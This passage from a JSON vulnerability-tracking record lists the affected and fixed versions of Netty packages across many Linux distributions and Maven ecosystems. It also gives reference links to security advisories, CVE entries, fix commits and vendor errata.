Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"Debian:12","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16","1:4.1.48-7","1:4.1.48-7+deb12u1","1:4.1.48-7+deb12u2","1:4.1.48-8","1:4.1.48-9"]},{"source":"osv","ecosystem":"Debian:13","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10+deb13u1","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Debian:14","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Final"},{"fixed":"4.2.16.Final"}]}],"versions":["4.2.0.Final","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.14.Final","4.2.15.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}],"versions":["4.0.0.Alpha1","4.0.0.Alpha2","4.0.0.Alpha3","4.0.0.Alpha4","4.0.0.Alpha5","4.0.0.Alpha6","4.0.0.Alpha7","4.0.0.Alpha8","4.0.0.Beta1","4.0.0.Beta2","4.0.0.Beta3","4.0.0.CR1","4.0.0.CR2","4.0.0.CR3","4.0.0.CR4","4.0.0.CR5","4.0.0.CR6","4.0.0.CR7","4.0.0.CR8","4.0.0.CR9","4.0.0.Final","4.0.1.Final","4.0.10.Final","4.0.11.Final","4.0.12.Final","4.0.13.Final","4.0.14.Beta1","4.0.14.Final","4.0.15.Final","4.0.16.Final","4.0.17.Final","4.0.18.Final","4.0.19.Final","4.0.2.Final","4.0.20.Final","4.0.21.Final","4.0.22.Final","4.0.23.Final","4.0.24.Final","4.0.25.Final","4.0.26.Final","4.0.27.Final","4.0.28.Final","4.0.29.Final","4.0.3.Final","4.0.30.Final","4.0.31.Final","4.0.32.Final","4.0.33.Final","4.0.34.Final","4.0.35.Final","4.0.36.Final","4.0.37.Final","4.0.38.Final","4.0.39.Final","4.0.4.Final","4.0.40.Final","4.0.41.Final","4.0.42.Final","4.0.43.Final","4.0.44.Final","4.0.45.Final","4.0.46.Final","4.0.47.Final","4.0.48.Final","4.0.49.Final","4.0.5.Final","4.0.50.Final","4.0.51.Final","4.0.52.Final","4.0.53.Final","4.0.54.Final","4.0.55.Final","4.0.56.Final","4.0.6.Final","4.0.7.Final","4.0.8.Final","4.0.9.Final","4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.133.Final","4.1.134.Final","4.1.135.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}],"versions":["4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final-rhlw-00001"}]}],"versions":["4.0.0.Alpha1","4.0.0.Alpha2","4.0.0.Alpha3","4.0.0.Alpha4","4.0.0.Alpha5","4.0.0.Alpha6","4.0.0.Alpha7","4.0.0.Alpha8","4.0.0.Beta1","4.0.0.Beta2","4.0.0.Beta3","4.0.0.CR1","4.0.0.CR2","4.0.0.CR3","4.0.0.CR4","4.0.0.CR5","4.0.0.CR6","4.0.0.CR7","4.0.0.CR8","4.0.0.CR9","4.0.0.Final","4.0.1.Final","4.0.10.Final","4.0.11.Final","4.0.12.Final","4.0.13.Final","4.0.14.Beta1","4.0.14.Final","4.0.15.Final","4.0.16.Final","4.0.17.Final","4.0.18.Final","4.0.19.Final","4.0.2.Final","4.0.20.Final","4.0.21.Final","4.0.22.Final","4.0.23.Final","4.0.24.Final","4.0.25.Final","4.0.26.Final","4.0.27.Final","4.0.28.Final","4.0.29.Final","4.0.3.Final","4.0.30.Final","4.0.31.Final","4.0.32.Final","4.0.33.Final","4.0.34.Final","4.0.35.Final","4.0.36.Final","4.0.37.Final","4.0.38.Final","4.0.39.Final","4.0.4.Final","4.0.40.Final","4.0.41.Final","4.0.42.Final","4.0.43.Final","4.0.44.Final","4.0.45.Final","4.0.46.Final","4.0.47.Final","4.0.48.Final","4.0.49.Final","4.0.5.Final","4.0.50.Final","4.0.51.Final","4.0.52.Final","4.0.53.Final","4.0.54.Final","4.0.55.Final","4.0.56.Final","4.0.6.Final","4.0.7.Final","4.0.8.Final","4.0.9.Final","4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"bundled":19},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-root.io.1"},{"fixed":"4.1.97.Final-root.io.2"},{"fixed":"4.1.97.Final-root.io.3"},{"fixed":"4.1.97.Final-root.io.4"},{"fixed":"4.1.97.Final-root.io.5"},{"fixed":"4.1.97.Final-root.io.6"},{"fixed":"4.1.97.Final-root.io.7"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-aikido.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136-150200.4.53.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:3.2.6.Final-2+deb8u2build0.14.04.1~esm1","1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:4.0.32-1","1:4.0.33-1","1:4.0.34-1","1:4.0.34-1ubuntu0.1~esm1","1:4.0.34-1ubuntu0.1~esm2","1:4.0.34-1ubuntu0.1~esm3","1:4.0.34-1ubuntu0.1~esm4","1:4.0.34-1ubuntu0.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.7-4","1:4.1.7-4ubuntu0.1~esm1","1:4.1.7-4ubuntu0.1","1:4.1.7-4ubuntu0.1+esm1","1:4.1.7-4ubuntu0.1+esm2","1:4.1.7-4ubuntu0.1+esm3","1:4.1.7-4ubuntu0.1+esm4","1:4.1.7-4ubuntu0.1+esm5","1:4.1.7-4ubuntu0.1+esm6","1:4.1.7-4ubuntu0.1+esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.33-1","1:4.1.33-2","1:4.1.33-3","1:4.1.45-1","1:4.1.45-1ubuntu0.1~esm1","1:4.1.45-1ubuntu0.1~esm2","1:4.1.45-1ubuntu0.1~esm3","1:4.1.45-1ubuntu0.1~esm4","1:4.1.45-1ubuntu0.1~esm6","1:4.1.45-1ubuntu0.1~esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-4","1:4.1.48-4+deb11u1build0.22.04.1","1:4.1.48-4+deb11u2build0.22.04.1","1:4.1.48-4+deb11u2ubuntu0.1~esm1","1:4.1.48-4+deb11u2ubuntu0.1~esm2","1:4.1.48-4+deb11u2ubuntu0.1","1:4.1.48-4+deb11u2ubuntu0.1+esm1","1:4.1.48-4+deb11u2ubuntu0.1+esm3","1:4.1.48-4+deb11u2ubuntu0.2","1:4.1.48-4+deb11u2ubuntu0.2+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-7","1:4.1.48-8","1:4.1.48-9","1:4.1.48-9ubuntu0.1~esm1","1:4.1.48-9ubuntu0.1~esm2","1:4.1.48-9ubuntu0.1","1:4.1.48-9ubuntu0.1+esm1","1:4.1.48-9ubuntu0.1+esm3","1:4.1.48-9ubuntu0.2","1:4.1.48-9ubuntu0.2+esm1","1:4.1.48-9ubuntu0.2+esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-16","1:4.1.48-16ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-16","1:4.1.48-16ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136-1.1"}]}],"bundled":19}],"affected_more":316,"products":[{"vendor":"netty","product":"netty"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g","tags":["x_refsource_CONFIRM","exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["web"]},{"url":"https://github.com/advisories/GHSA-gcjf-9mgh-3p7g","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p","tags":["web"]},{"url":"https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61","tags":["web"]},{"url":"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-44487","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-44487","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xpw8-rcwv-8f8p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59921.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59921","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59921","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/29xxx/CVE-2024-29025.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29025","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-5jpm-x58v-624v","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/58xxx/CVE-2025-58056.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58056","tags":["advisory"]},{"url":"https://github.com/JLLeitschuh/unCVEed/issues/1","tags":["report"]},{"url":"https://github.com/netty/netty/issues/15522","tags":["report"]},{"url":"https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284","tags":["fix"]},{"url":"https://github.com/netty/netty/pull/15611","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-fghv-69vj-qj49","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/67xxx/CVE-2025-67735.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67735","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-84h7-rjj3-6jx4","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33870.json","tags":["web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10184","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13571","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:14272","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:14276","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17668","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17789","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18054","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18055","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18059","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22619","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34608","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:65126","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7109","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7380","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8159","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8509","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33870","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33870.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33870","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pwqr-wmgm-9rr8","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41417.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41417","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v8h7-rr48-vmmv","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42580.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42580","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m4cv-j2px-7723","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42581.json","tags":["web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23808","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24502","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:25123","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:28010","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36820","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:37390","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42644","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49700","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49701","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53644","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53645","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53646","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54435","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:66488","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:66545","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42581","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42581.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfj